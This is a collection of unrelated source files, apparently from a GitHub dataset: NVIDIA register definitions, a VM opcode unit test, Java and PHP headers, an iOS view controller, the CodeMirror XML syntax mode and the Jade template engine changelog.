#define NV03_PGRAPH_ABS_ICLIP_XMAX 0x00400534
#define NV03_PGRAPH_ABS_ICLIP_YMAX 0x00400538
#define NV03_PGRAPH_ABS_UCLIP_XMIN 0x0040053C
#define NV03_PGRAPH_ABS_UCLIP_YMIN 0x00400540
#define NV03_PGRAPH_ABS_UCLIP_XMAX 0x00400544
#define NV03_PGRAPH_ABS_UCLIP_YMAX 0x00400548
#define NV03_PGRAPH_ABS_UCLIPA_XMIN 0x00400560
#define NV03_PGRAPH_ABS_UCLIPA_YMIN 0x00400564
#define NV03_PGRAPH_ABS_UCLIPA_XMAX 0x00400568
#define NV03_PGRAPH_ABS_UCLIPA_YMAX 0x0040056C
#define NV04_PGRAPH_MISC24_1 0x00400570
#define NV04_PGRAPH_MISC24_2 0x00400574
#define NV04_PGRAPH_VALID2 0x00400578
#define NV04_PGRAPH_PASSTHRU_0 0x0040057C
#define NV04_PGRAPH_PASSTHRU_1 0x00400580
#define NV04_PGRAPH_PASSTHRU_2 0x00400584
#define NV10_PGRAPH_DIMX_TEXTURE 0x00400588
#define NV10_PGRAPH_WDIMX_TEXTURE 0x0040058C
#define NV04_PGRAPH_COMBINE_0_ALPHA 0x00400590
#define NV04_PGRAPH_COMBINE_0_COLOR 0x00400594
#define NV04_PGRAPH_COMBINE_1_ALPHA 0x00400598
#define NV04_PGRAPH_COMBINE_1_COLOR 0x0040059C
#define NV04_PGRAPH_FORMAT_0 0x004005A8
#define NV04_PGRAPH_FORMAT_1 0x004005AC
#define NV04_PGRAPH_FILTER_0 0x004005B0
#define NV04_PGRAPH_FILTER_1 0x004005B4
#define NV03_PGRAPH_MONO_COLOR0 0x00400600
#define NV04_PGRAPH_ROP3 0x00400604
#define NV04_PGRAPH_BETA_AND 0x00400608
#define NV04_PGRAPH_BETA_PREMULT 0x0040060C
#define NV04_PGRAPH_LIMIT_VIOL_PIX 0x00400610
#define NV04_PGRAPH_FORMATS 0x00400618
#define NV10_PGRAPH_DEBUG_2 0x00400620
#define NV04_PGRAPH_BOFFSET0 0x00400640
#define NV04_PGRAPH_BOFFSET1 0x00400644
#define NV04_PGRAPH_BOFFSET2 0x00400648
#define NV04_PGRAPH_BOFFSET3 0x0040064C
#define NV04_PGRAPH_BOFFSET4 0x00400650
#define NV04_PGRAPH_BOFFSET5 0x00400654
#define NV04_PGRAPH_BBASE0 0x00400658
#define NV04_PGRAPH_BBASE1 0x0040065C
#define NV04_PGRAPH_BBASE2 0x00400660
#define NV04_PGRAPH_BBASE3 0x00400664
#define NV04_PGRAPH_BBASE4 0x00400668
#define NV04_PGRAPH_BBASE5 0x0040066C
#define NV04_PGRAPH_BPITCH0 0x00400670
#define NV04_PGRAPH_BPITCH1 0x00400674
#define NV04_PGRAPH_BPITCH2 0x00400678
#define NV04_PGRAPH_BPITCH3 0x0040067C
#define NV04_PGRAPH_BPITCH4 0x00400680
#define NV04_PGRAPH_BLIMIT0 0x00400684
#define NV04_PGRAPH_BLIMIT1 0x00400688
#define NV04_PGRAPH_BLIMIT2 0x0040068C
#define NV04_PGRAPH_BLIMIT3 0x00400690
#define NV04_PGRAPH_BLIMIT4 0x00400694
#define NV04_PGRAPH_BLIMIT5 0x00400698
#define NV04_PGRAPH_BSWIZZLE2 0x0040069C
#define NV04_PGRAPH_BSWIZZLE5 0x004006A0
#define NV03_PGRAPH_STATUS 0x004006B0
#define NV04_PGRAPH_STATUS 0x00400700
# define NV40_PGRAPH_STATUS_SYNC_STALL 0x00004000
#define NV04_PGRAPH_TRAPPED_ADDR 0x00400704
#define NV04_PGRAPH_TRAPPED_DATA 0x00400708
#define NV04_PGRAPH_SURFACE 0x0040070C
#define NV10_PGRAPH_TRAPPED_DATA_HIGH 0x0040070C
#define NV04_PGRAPH_STATE 0x00400710
#define NV10_PGRAPH_SURFACE 0x00400710
#define NV04_PGRAPH_NOTIFY 0x00400714
#define NV10_PGRAPH_STATE 0x00400714
#define NV10_PGRAPH_NOTIFY 0x00400718
#define NV04_PGRAPH_FIFO 0x00400720
#define NV04_PGRAPH_BPIXEL 0x00400724
#define NV10_PGRAPH_RDI_INDEX 0x00400750
#define NV04_PGRAPH_FFINTFC_ST2 0x00400754
#define NV10_PGRAPH_RDI_DATA 0x00400754
#define NV04_PGRAPH_DMA_PITCH 0x00400760
#define NV10_PGRAPH_FFINTFC_FIFO_PTR 0x00400760
#define NV04_PGRAPH_DVD_COLORFMT 0x00400764
#define NV10_PGRAPH_FFINTFC_ST2 0x00400764
#define NV04_PGRAPH_SCALED_FORMAT 0x00400768
#define NV10_PGRAPH_FFINTFC_ST2_DL 0x00400768
#define NV10_PGRAPH_FFINTFC_ST2_DH 0x0040076c
#define NV10_PGRAPH_DMA_PITCH 0x00400770
#define NV10_PGRAPH_DVD_COLORFMT 0x00400774
#define NV10_PGRAPH_SCALED_FORMAT 0x00400778
#define NV20_PGRAPH_CHANNEL_CTX_TABLE 0x00400780
#define NV20_PGRAPH_CHANNEL_CTX_POINTER 0x00400784
#define NV20_PGRAPH_CHANNEL_CTX_XFER 0x00400788
#define NV20_PGRAPH_CHANNEL_CTX_XFER_LOAD 0x00000001
#define NV20_PGRAPH_CHANNEL_CTX_XFER_SAVE 0x00000002
#define NV04_PGRAPH_PATT_COLOR0 0x00400800
#define NV04_PGRAPH_PATT_COLOR1 0x00400804
#define NV04_PGRAPH_PATTERN 0x00400808
#define NV04_PGRAPH_PATTERN_SHAPE 0x00400810
#define NV04_PGRAPH_CHROMA 0x00400814
#define NV04_PGRAPH_CONTROL0 0x00400818
#define NV04_PGRAPH_CONTROL1 0x0040081C
#define NV04_PGRAPH_CONTROL2 0x00400820
#define NV04_PGRAPH_BLEND 0x00400824
#define NV04_PGRAPH_STORED_FMT 0x00400830
#define NV04_PGRAPH_PATT_COLORRAM 0x00400900
#define NV20_PGRAPH_TILE(i) (0x00400900 + (i*16))
#define NV20_PGRAPH_TLIMIT(i) (0x00400904 + (i*16))
#define NV20_PGRAPH_TSIZE(i) (0x00400908 + (i*16))
#define NV20_PGRAPH_TSTATUS(i) (0x0040090C + (i*16))
#define NV20_PGRAPH_ZCOMP(i) (0x00400980 + 4*(i))
#define NV41_PGRAPH_ZCOMP0(i) (0x004009c0 + 4*(i))
#define NV10_PGRAPH_TILE(i) (0x00400B00 + (i*16))
#define NV10_PGRAPH_TLIMIT(i) (0x00400B04 + (i*16))
#define NV10_PGRAPH_TSIZE(i) (0x00400B08 + (i*16))
#define NV10_PGRAPH_TSTATUS(i) (0x00400B0C + (i*16))
#define NV04_PGRAPH_U_RAM 0x00400D00
#define NV47_PGRAPH_TILE(i) (0x00400D00 + (i*16))
#define NV47_PGRAPH_TLIMIT(i) (0x00400D04 + (i*16))
#define NV47_PGRAPH_TSIZE(i) (0x00400D08 + (i*16))
#define NV47_PGRAPH_TSTATUS(i) (0x00400D0C + (i*16))
#define NV04_PGRAPH_V_RAM 0x00400D40
#define NV04_PGRAPH_W_RAM 0x00400D80
#define NV47_PGRAPH_ZCOMP0(i) (0x00400e00 + 4*(i))
#define NV10_PGRAPH_COMBINER0_IN_ALPHA 0x00400E40
#define NV10_PGRAPH_COMBINER1_IN_ALPHA 0x00400E44
#define NV10_PGRAPH_COMBINER0_IN_RGB 0x00400E48
#define NV10_PGRAPH_COMBINER1_IN_RGB 0x00400E4C
#define NV10_PGRAPH_COMBINER_COLOR0 0x00400E50
#define NV10_PGRAPH_COMBINER_COLOR1 0x00400E54
#define NV10_PGRAPH_COMBINER0_OUT_ALPHA 0x00400E58
#define NV10_PGRAPH_COMBINER1_OUT_ALPHA 0x00400E5C
#define NV10_PGRAPH_COMBINER0_OUT_RGB 0x00400E60
#define NV10_PGRAPH_COMBINER1_OUT_RGB 0x00400E64
#define NV10_PGRAPH_COMBINER_FINAL0 0x00400E68
#define NV10_PGRAPH_COMBINER_FINAL1 0x00400E6C
#define NV10_PGRAPH_WINDOWCLIP_HORIZONTAL 0x00400F00
#define NV10_PGRAPH_WINDOWCLIP_VERTICAL 0x00400F20
#define NV10_PGRAPH_XFMODE0 0x00400F40
#define NV10_PGRAPH_XFMODE1 0x00400F44
#define NV10_PGRAPH_GLOBALSTATE0 0x00400F48
#define NV10_PGRAPH_GLOBALSTATE1 0x00400F4C
#define NV10_PGRAPH_PIPE_ADDRESS 0x00400F50
#define NV10_PGRAPH_PIPE_DATA 0x00400F54
#define NV04_PGRAPH_DMA_START_0 0x00401000
#define NV04_PGRAPH_DMA_START_1 0x00401004
#define NV04_PGRAPH_DMA_LENGTH 0x00401008
#define NV04_PGRAPH_DMA_MISC 0x0040100C
#define NV04_PGRAPH_DMA_DATA_0 0x00401020
#define NV04_PGRAPH_DMA_DATA_1 0x00401024
#define NV04_PGRAPH_DMA_RM 0x00401030
#define NV04_PGRAPH_DMA_A_XLATE_INST 0x00401040
#define NV04_PGRAPH_DMA_A_CONTROL 0x00401044
#define NV04_PGRAPH_DMA_A_LIMIT 0x00401048
#define NV04_PGRAPH_DMA_A_TLB_PTE 0x0040104C
#define NV04_PGRAPH_DMA_A_TLB_TAG 0x00401050
#define NV04_PGRAPH_DMA_A_ADJ_OFFSET 0x00401054
#define NV04_PGRAPH_DMA_A_OFFSET 0x00401058
#define NV04_PGRAPH_DMA_A_SIZE 0x0040105C
#define NV04_PGRAPH_DMA_A_Y_SIZE 0x00401060
#define NV04_PGRAPH_DMA_B_XLATE_INST 0x00401080
#define NV04_PGRAPH_DMA_B_CONTROL 0x00401084
#define NV04_PGRAPH_DMA_B_LIMIT 0x00401088
#define NV04_PGRAPH_DMA_B_TLB_PTE 0x0040108C
#define NV04_PGRAPH_DMA_B_TLB_TAG 0x00401090
#define NV04_PGRAPH_DMA_B_ADJ_OFFSET 0x00401094
#define NV04_PGRAPH_DMA_B_OFFSET 0x00401098
#define NV04_PGRAPH_DMA_B_SIZE 0x0040109C
#define NV04_PGRAPH_DMA_B_Y_SIZE 0x004010A0
#define NV47_PGRAPH_ZCOMP1(i) (0x004068c0 + 4*(i))
#define NV40_PGRAPH_TILE1(i) (0x00406900 + (i*16))
#define NV40_PGRAPH_TLIMIT1(i) (0x00406904 + (i*16))
#define NV40_PGRAPH_TSIZE1(i) (0x00406908 + (i*16))
#define NV40_PGRAPH_TSTATUS1(i) (0x0040690C + (i*16))
#define NV40_PGRAPH_ZCOMP1(i) (0x00406980 + 4*(i))
#define NV41_PGRAPH_ZCOMP1(i) (0x004069c0 + 4*(i))
#endif
| {
"pile_set_name": "Github"
} |
{
"category": "Slot",
"name": "LDSFLD3",
"tests": [
{
"name": "Without slot",
"script": [
"LDSFLD3"
],
"steps": [
{
"actions": [
"Execute"
],
"result": {
"state": "FAULT"
}
}
]
},
{
"name": "Index out of range",
"script": [
"INITSSLOT",
"0x01",
"LDSFLD3"
],
"steps": [
{
"actions": [
"Execute"
],
"result": {
"state": "FAULT"
}
}
]
},
{
"name": "Real test",
"script": [
"INITSSLOT",
"0x04",
"PUSH1",
"STSFLD3",
"LDSFLD3"
],
"steps": [
{
"actions": [
"Execute"
],
"result": {
"state": "HALT",
"resultStack": [
{
"type": "Integer",
"value": 1
}
]
}
}
]
}
]
}
| {
"pile_set_name": "Github"
} |
/**
* 中文句、词、字符处理(字符编码、简繁转换等)。.
* <p>This file is part of FudanNLP.
* <p>FudanNLP is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* <p>FudanNLP is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
* <p>You should have received a copy of the GNU General Public License
* along with FudanNLP. If not, see <a href="http://www.gnu.org/licenses/">
* http://www.gnu.org/licenses/</a>.
* <p>Copyright 2009-2012 fnlp.org. All rights reserved.
*
* @author <a href="mailto:[email protected]">fnlp.org</a>
* @since FudanNLP 1.5
* @version 1.0.0
*
*/
package org.fnlp.nlp.cn; | {
"pile_set_name": "Github"
} |
<?php
namespace Phalcon\Mvc\Model {
/**
* Phalcon\Mvc\Model\QueryInterface initializer
*/
interface QueryInterface {
/**
* Parses the intermediate code produced by \Phalcon\Mvc\Model\Query\Lang generating another
* intermediate representation that could be executed by \Phalcon\Mvc\Model\Query
*
* @return array
*/
public function parse();
/**
* Executes a parsed PHQL statement
*
* @param array $bindParams
* @param array $bindTypes
* @return mixed
*/
public function execute($bindParams=null, $bindTypes=null, $useRawsql=null);
}
}
| {
"pile_set_name": "Github"
} |
//
// ViewController.m
// SubModule-Example
//
// Created by 周凌宇 on 2018/2/2.
// Copyright © 2018年 周凌宇. All rights reserved.
//
#import "ViewController.h"
#import <SubModule/SMViewController.h>
@interface ViewController ()
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view, typically from a nib.
}
- (IBAction)buttonClicked:(UIButton *)sender {
[self presentViewController:[SMViewController new] animated:YES completion:nil];
}
@end
| {
"pile_set_name": "Github"
} |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.defineMode("xml", function(config, parserConfig) {
var indentUnit = config.indentUnit;
var multilineTagIndentFactor = parserConfig.multilineTagIndentFactor || 1;
var multilineTagIndentPastTag = parserConfig.multilineTagIndentPastTag;
if (multilineTagIndentPastTag == null) multilineTagIndentPastTag = true;
var Kludges = parserConfig.htmlMode ? {
autoSelfClosers: {'area': true, 'base': true, 'br': true, 'col': true, 'command': true,
'embed': true, 'frame': true, 'hr': true, 'img': true, 'input': true,
'keygen': true, 'link': true, 'meta': true, 'param': true, 'source': true,
'track': true, 'wbr': true, 'menuitem': true},
implicitlyClosed: {'dd': true, 'li': true, 'optgroup': true, 'option': true, 'p': true,
'rp': true, 'rt': true, 'tbody': true, 'td': true, 'tfoot': true,
'th': true, 'tr': true},
contextGrabbers: {
'dd': {'dd': true, 'dt': true},
'dt': {'dd': true, 'dt': true},
'li': {'li': true},
'option': {'option': true, 'optgroup': true},
'optgroup': {'optgroup': true},
'p': {'address': true, 'article': true, 'aside': true, 'blockquote': true, 'dir': true,
'div': true, 'dl': true, 'fieldset': true, 'footer': true, 'form': true,
'h1': true, 'h2': true, 'h3': true, 'h4': true, 'h5': true, 'h6': true,
'header': true, 'hgroup': true, 'hr': true, 'menu': true, 'nav': true, 'ol': true,
'p': true, 'pre': true, 'section': true, 'table': true, 'ul': true},
'rp': {'rp': true, 'rt': true},
'rt': {'rp': true, 'rt': true},
'tbody': {'tbody': true, 'tfoot': true},
'td': {'td': true, 'th': true},
'tfoot': {'tbody': true},
'th': {'td': true, 'th': true},
'thead': {'tbody': true, 'tfoot': true},
'tr': {'tr': true}
},
doNotIndent: {"pre": true},
allowUnquoted: true,
allowMissing: true,
caseFold: true
} : {
autoSelfClosers: {},
implicitlyClosed: {},
contextGrabbers: {},
doNotIndent: {},
allowUnquoted: false,
allowMissing: false,
caseFold: false
};
var alignCDATA = parserConfig.alignCDATA;
// Return variables for tokenizers
var type, setStyle;
function inText(stream, state) {
function chain(parser) {
state.tokenize = parser;
return parser(stream, state);
}
var ch = stream.next();
if (ch == "<") {
if (stream.eat("!")) {
if (stream.eat("[")) {
if (stream.match("CDATA[")) return chain(inBlock("atom", "]]>"));
else return null;
} else if (stream.match("--")) {
return chain(inBlock("comment", "-->"));
} else if (stream.match("DOCTYPE", true, true)) {
stream.eatWhile(/[\w\._\-]/);
return chain(doctype(1));
} else {
return null;
}
} else if (stream.eat("?")) {
stream.eatWhile(/[\w\._\-]/);
state.tokenize = inBlock("meta", "?>");
return "meta";
} else {
type = stream.eat("/") ? "closeTag" : "openTag";
state.tokenize = inTag;
return "tag bracket";
}
} else if (ch == "&") {
var ok;
if (stream.eat("#")) {
if (stream.eat("x")) {
ok = stream.eatWhile(/[a-fA-F\d]/) && stream.eat(";");
} else {
ok = stream.eatWhile(/[\d]/) && stream.eat(";");
}
} else {
ok = stream.eatWhile(/[\w\.\-:]/) && stream.eat(";");
}
return ok ? "atom" : "error";
} else {
stream.eatWhile(/[^&<]/);
return null;
}
}
function inTag(stream, state) {
var ch = stream.next();
if (ch == ">" || (ch == "/" && stream.eat(">"))) {
state.tokenize = inText;
type = ch == ">" ? "endTag" : "selfcloseTag";
return "tag bracket";
} else if (ch == "=") {
type = "equals";
return null;
} else if (ch == "<") {
state.tokenize = inText;
state.state = baseState;
state.tagName = state.tagStart = null;
var next = state.tokenize(stream, state);
return next ? next + " tag error" : "tag error";
} else if (/[\'\"]/.test(ch)) {
state.tokenize = inAttribute(ch);
state.stringStartCol = stream.column();
return state.tokenize(stream, state);
} else {
stream.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);
return "word";
}
}
function inAttribute(quote) {
var closure = function(stream, state) {
while (!stream.eol()) {
if (stream.next() == quote) {
state.tokenize = inTag;
break;
}
}
return "string";
};
closure.isInAttribute = true;
return closure;
}
function inBlock(style, terminator) {
return function(stream, state) {
while (!stream.eol()) {
if (stream.match(terminator)) {
state.tokenize = inText;
break;
}
stream.next();
}
return style;
};
}
function doctype(depth) {
return function(stream, state) {
var ch;
while ((ch = stream.next()) != null) {
if (ch == "<") {
state.tokenize = doctype(depth + 1);
return state.tokenize(stream, state);
} else if (ch == ">") {
if (depth == 1) {
state.tokenize = inText;
break;
} else {
state.tokenize = doctype(depth - 1);
return state.tokenize(stream, state);
}
}
}
return "meta";
};
}
function Context(state, tagName, startOfLine) {
this.prev = state.context;
this.tagName = tagName;
this.indent = state.indented;
this.startOfLine = startOfLine;
if (Kludges.doNotIndent.hasOwnProperty(tagName) || (state.context && state.context.noIndent))
this.noIndent = true;
}
function popContext(state) {
if (state.context) state.context = state.context.prev;
}
function maybePopContext(state, nextTagName) {
var parentTagName;
while (true) {
if (!state.context) {
return;
}
parentTagName = state.context.tagName;
if (!Kludges.contextGrabbers.hasOwnProperty(parentTagName) ||
!Kludges.contextGrabbers[parentTagName].hasOwnProperty(nextTagName)) {
return;
}
popContext(state);
}
}
function baseState(type, stream, state) {
if (type == "openTag") {
state.tagStart = stream.column();
return tagNameState;
} else if (type == "closeTag") {
return closeTagNameState;
} else {
return baseState;
}
}
function tagNameState(type, stream, state) {
if (type == "word") {
state.tagName = stream.current();
setStyle = "tag";
return attrState;
} else {
setStyle = "error";
return tagNameState;
}
}
function closeTagNameState(type, stream, state) {
if (type == "word") {
var tagName = stream.current();
if (state.context && state.context.tagName != tagName &&
Kludges.implicitlyClosed.hasOwnProperty(state.context.tagName))
popContext(state);
if (state.context && state.context.tagName == tagName) {
setStyle = "tag";
return closeState;
} else {
setStyle = "tag error";
return closeStateErr;
}
} else {
setStyle = "error";
return closeStateErr;
}
}
function closeState(type, _stream, state) {
if (type != "endTag") {
setStyle = "error";
return closeState;
}
popContext(state);
return baseState;
}
function closeStateErr(type, stream, state) {
setStyle = "error";
return closeState(type, stream, state);
}
function attrState(type, _stream, state) {
if (type == "word") {
setStyle = "attribute";
return attrEqState;
} else if (type == "endTag" || type == "selfcloseTag") {
var tagName = state.tagName, tagStart = state.tagStart;
state.tagName = state.tagStart = null;
if (type == "selfcloseTag" ||
Kludges.autoSelfClosers.hasOwnProperty(tagName)) {
maybePopContext(state, tagName);
} else {
maybePopContext(state, tagName);
state.context = new Context(state, tagName, tagStart == state.indented);
}
return baseState;
}
setStyle = "error";
return attrState;
}
function attrEqState(type, stream, state) {
if (type == "equals") return attrValueState;
if (!Kludges.allowMissing) setStyle = "error";
return attrState(type, stream, state);
}
function attrValueState(type, stream, state) {
if (type == "string") return attrContinuedState;
if (type == "word" && Kludges.allowUnquoted) {setStyle = "string"; return attrState;}
setStyle = "error";
return attrState(type, stream, state);
}
function attrContinuedState(type, stream, state) {
if (type == "string") return attrContinuedState;
return attrState(type, stream, state);
}
return {
startState: function() {
return {tokenize: inText,
state: baseState,
indented: 0,
tagName: null, tagStart: null,
context: null};
},
token: function(stream, state) {
if (!state.tagName && stream.sol())
state.indented = stream.indentation();
if (stream.eatSpace()) return null;
type = null;
var style = state.tokenize(stream, state);
if ((style || type) && style != "comment") {
setStyle = null;
state.state = state.state(type || style, stream, state);
if (setStyle)
style = setStyle == "error" ? style + " error" : setStyle;
}
return style;
},
indent: function(state, textAfter, fullLine) {
var context = state.context;
// Indent multi-line strings (e.g. css).
if (state.tokenize.isInAttribute) {
if (state.tagStart == state.indented)
return state.stringStartCol + 1;
else
return state.indented + indentUnit;
}
if (context && context.noIndent) return CodeMirror.Pass;
if (state.tokenize != inTag && state.tokenize != inText)
return fullLine ? fullLine.match(/^(\s*)/)[0].length : 0;
// Indent the starts of attribute names.
if (state.tagName) {
if (multilineTagIndentPastTag)
return state.tagStart + state.tagName.length + 2;
else
return state.tagStart + indentUnit * multilineTagIndentFactor;
}
if (alignCDATA && /<!\[CDATA\[/.test(textAfter)) return 0;
var tagAfter = textAfter && /^<(\/)?([\w_:\.-]*)/.exec(textAfter);
if (tagAfter && tagAfter[1]) { // Closing tag spotted
while (context) {
if (context.tagName == tagAfter[2]) {
context = context.prev;
break;
} else if (Kludges.implicitlyClosed.hasOwnProperty(context.tagName)) {
context = context.prev;
} else {
break;
}
}
} else if (tagAfter) { // Opening tag spotted
while (context) {
var grabbers = Kludges.contextGrabbers[context.tagName];
if (grabbers && grabbers.hasOwnProperty(tagAfter[2]))
context = context.prev;
else
break;
}
}
while (context && !context.startOfLine)
context = context.prev;
if (context) return context.indent + indentUnit;
else return 0;
},
electricInput: /<\/[\s\w:]+>$/,
blockCommentStart: "<!--",
blockCommentEnd: "-->",
configuration: parserConfig.htmlMode ? "html" : "xml",
helperType: parserConfig.htmlMode ? "html" : "xml"
};
});
CodeMirror.defineMIME("text/xml", "xml");
CodeMirror.defineMIME("application/xml", "xml");
if (!CodeMirror.mimeModes.hasOwnProperty("text/html"))
CodeMirror.defineMIME("text/html", {name: "xml", htmlMode: true});
});
| {
"pile_set_name": "Github"
} |
0.19.0 / 2011-12-02
==================
* Added block `append` / `prepend` support. Closes #355
* Added link in readme to jade-mode for Emacs
* Added link to python implementation
0.18.0 / 2011-11-21
==================
* Changed: only ['script', 'style'] are text-only. Closes #398'
0.17.0 / 2011-11-10
==================
* jade.renderFile() is back! (for express 3.x)
* Fixed `Object.keys()` failover bug
0.16.4 / 2011-10-24
==================
* Fixed a test due to reserved keyword
* Fixed: commander 0.1.x dep for 0.5.x
0.16.3 / 2011-10-24
==================
* Added: allow leading space for conditional comments
* Added quick implementation of a switch statement
* Fixed parens in mixin args. Closes #380
* Fixed: include files with a .jade extension as jade files
0.16.2 / 2011-09-30
==================
* Fixed include regression. Closes #354
0.16.1 / 2011-09-29
==================
* Fixed unexpected `else` bug when compileDebug: false
* Fixed attr state issue for balancing pairs. Closes #353
0.16.0 / 2011-09-26
==================
* Added `include` block support. Closes #303
* Added template inheritance via `block` and `extends`. Closes #242
* Added 'type="text/css"' to the style tags generated by filters.
* Added 'uglifyjs' as an explicit devDependency.
* Added -p, --path <path> flag to jade(1)
* Added support for any arbitrary doctype
* Added `jade.render(str[,options], fn)` back
* Added first-class `while` support
* Added first-class assignment support
* Fixed runtime.js `Array.isArray()` polyfill. Closes #345
* Fixed: set .filename option in jade(1) when passing filenames
* Fixed `Object.keys()` polyfill typo. Closes #331
* Fixed `include` error context
* Renamed magic "index" to "$index". Closes #350
0.15.4 / 2011-09-05
==================
* Fixed script template html. Closes #316
* Revert "Fixed script() tag with trailing ".". Closes #314"
0.15.3 / 2011-08-30
==================
* Added Makefile example. Closes #312
* Fixed script() tag with trailing ".". Closes #314
0.15.2 / 2011-08-26
==================
* Fixed new conditional boundaries. Closes #307
0.15.1 / 2011-08-26
==================
* Fixed jade(1) support due to `res.render()` removal
* Removed --watch support (use a makefile + watch...)
0.15.0 / 2011-08-26
==================
* Added `client` option to reference runtime helpers
* Added `Array.isArray()` for runtime.js as well
* Added `Object.keys()` for the client-side runtime
* Added first-class `if`, `unless`, `else` and `else if` support
* Added first-class `each` / `for` support
* Added `make benchmark` for continuous-bench
* Removed `inline` option, SS helpers are no longer inlined either
* Removed `Parser#debug()`
* Removed `jade.render()` and `jade.renderFile()`
* Fixed runtime.js `escape()` bug causing window.escape to be used
* Fixed a bunch of tests
0.14.2 / 2011-08-16
==================
* Added `include` support for non-jade files
* Fixed code indentation when followed by newline(s). Closes #295 [reported by masylum]
0.14.1 / 2011-08-14
==================
* Added `colons` option for everyone stuck with ":". Closes #231
* Optimization: consecutive lines are merged in compiled js
0.14.0 / 2011-08-08
==================
* Added array iteration with index example. Closes #276
* Added _runtime.js_
* Added `compileDebug` option to enable lineno instrumentation
* Added `inline` option to disable inlining of helpers (for client-side)
0.13.0 / 2011-07-13
==================
* Added `mixin` support
* Added `include` support
* Added array support for the class attribute
0.12.4 / 2011-06-23
==================
* Fixed filter indentation bug. Closes #243
0.12.3 / 2011-06-21
==================
* Fixed empty strings support. Closes #223
* Fixed conditional comments documentation. Closes #245
0.12.2 / 2011-06-16
==================
* Fixed `make test`
* Fixed block comments
0.12.1 / 2011-06-04
==================
* Fixed attribute interpolation with double quotes. Fixes #232 [topaxi]
0.12.0 / 2011-06-03
==================
* Added `doctype` as alias of `!!!`
* Added; doctype value is now case-insensitive
* Added attribute interpolation support
* Fixed; retain original indentation spaces in text blocks
0.11.1 / 2011-06-01
==================
* Fixed text block indentation [Laszlo Bacsi]
* Changed; utilizing devDependencies
* Fixed try/catch issue with renderFile(). Closes #227
* Removed attribute ":" support, use "=" (option for ':' coming soon)
0.11.0 / 2011-05-14
==================
* Added `self` object to avoid poor `with(){}` performance [masylum]
* Added `doctype` option [Jeremy Larkin]
0.10.7 / 2011-05-04
==================
* expose Parser
0.10.6 / 2011-04-29
==================
* Fixed CS `Object.keys()` [reported by robholland]
0.10.5 / 2011-04-26
==================
* Added error context after the lineno
* Added; indicate failing lineno with ">"
* Added `Object.keys()` for the client-side
* Fixed attr strings when containing the opposite quote. Closes 207
* Fixed attr issue with js expressions within strings
* Fixed single-quote filter escape bug. Closes #196
0.10.4 / 2011-04-05
==================
* Added `html` doctype, same as "5"
* Fixed `pre`, no longer text-only
0.10.3 / 2011-03-30
==================
* Fixed support for quoted attribute keys ex `rss("xmlns:atom"="atom")`
0.10.2 / 2011-03-30
==================
* Fixed pipeless text bug with missing outdent
0.10.1 / 2011-03-28
==================
* Fixed `support/compile.js` to exclude browser js in node
* Fixes for IE [Patrick Pfeiffer]
0.10.0 / 2011-03-25
==================
* Added AST-filter support back in the form of `<tag>[attrs]<:><block>`
0.9.3 / 2011-03-24
==================
* Added `Block#unshift(node)`
* Added `jade.js` for the client-side to the repo
* Added `jade.min.js` for the client-side to the repo
* Removed need for pipes in filters. Closes #185
Note that this _will_ break filters used to
manipulate the AST, until we have a different
syntax for doing so.
0.9.2 / 2011-03-23
==================
* Added jade `--version`
* Removed `${}` interpolation support, use `#{}`
0.9.1 / 2011-03-16
==================
* Fixed invalid `.map()` call due to recent changes
0.9.0 / 2011-03-16
==================
* Added client-side browser support via `make jade.js` and `make jade.min.js`.
0.8.9 / 2011-03-15
==================
* Fixed preservation of newlines in text blocks
0.8.8 / 2011-03-14
==================
* Fixed jade(1) stdio
0.8.7 / 2011-03-14
==================
* Added `mkdirs()` to jade(1)
* Added jade(1) stdio support
* Added new features to jade(1), `--watch`, recursive compilation etc [khingebjerg]
* Fixed pipe-less text newlines
* Removed jade(1) `--pipe` flag
0.8.6 / 2011-03-11
==================
* Fixed parenthesized expressions in attrs. Closes #170
* Changed; default interpolation values `== null` to ''. Closes #167
0.8.5 / 2011-03-09
==================
* Added pipe-less text support with immediate ".". Closes #157
* Fixed object support in attrs
* Fixed array support for attrs
0.8.4 / 2011-03-08
==================
* Fixed issue with expressions being evaluated several times. closes #162
0.8.2 / 2011-03-07
==================
* Added markdown, discount, and markdown-js support to `:markdown`. Closes #160
* Removed `:discount`
0.8.1 / 2011-03-04
==================
* Added `pre` pipe-less text support (and auto-escaping)
0.8.0 / 2011-03-04
==================
* Added block-expansion support. Closes #74
* Added support for multi-line attrs without commas. Closes #65
0.7.1 / 2011-03-04
==================
* Fixed `script()` etc pipe-less text with attrs
0.7.0 / 2011-03-04
==================
* Removed `:javascript` filter (it doesn't really do anything special, use `script` tags)
* Added pipe-less text support. Tags that only accept text nodes (`script`, `textarea`, etc) do not require `|`.
* Added `:text` filter for ad-hoc pipe-less
* Added flexible indentation. Tabs, arbitrary number of spaces etc
* Added conditional-comment support. Closes #146
* Added block comment support
* Added rss example
* Added `:stylus` filter
* Added `:discount` filter
* Fixed; auto-detect xml and do not self-close tags. Closes #147
* Fixed whitespace issue. Closes #118
* Fixed attrs. `,`, `=`, and `:` within attr value strings are valid Closes #133
* Fixed; only output "" when code == null. Ex: `span.name= user.name` when undefined or null will not output "undefined". Closes #130
* Fixed; throw on unexpected token instead of hanging
0.6.3 / 2011-02-02
==================
* Added `each` support for Array-like objects [guillermo]
0.6.2 / 2011-02-02
==================
* Added CSRF example, showing how you can transparently add inputs to a form
* Added link to vim-jade
* Fixed self-closing col support [guillermo]
* Fixed exception when getAttribute or removeAttribute run into removed attributes [Naitik Shah]
0.6.0 / 2010-12-19
==================
* Added unescaped interpolation variant `!{code}`. Closes #124
* Changed; escape interpolated code by default `#{code}`
0.5.7 / 2010-12-08
==================
* Fixed; hyphen in get `tag()`
0.5.6 / 2010-11-24
==================
* Added `exports.compile(str, options)`
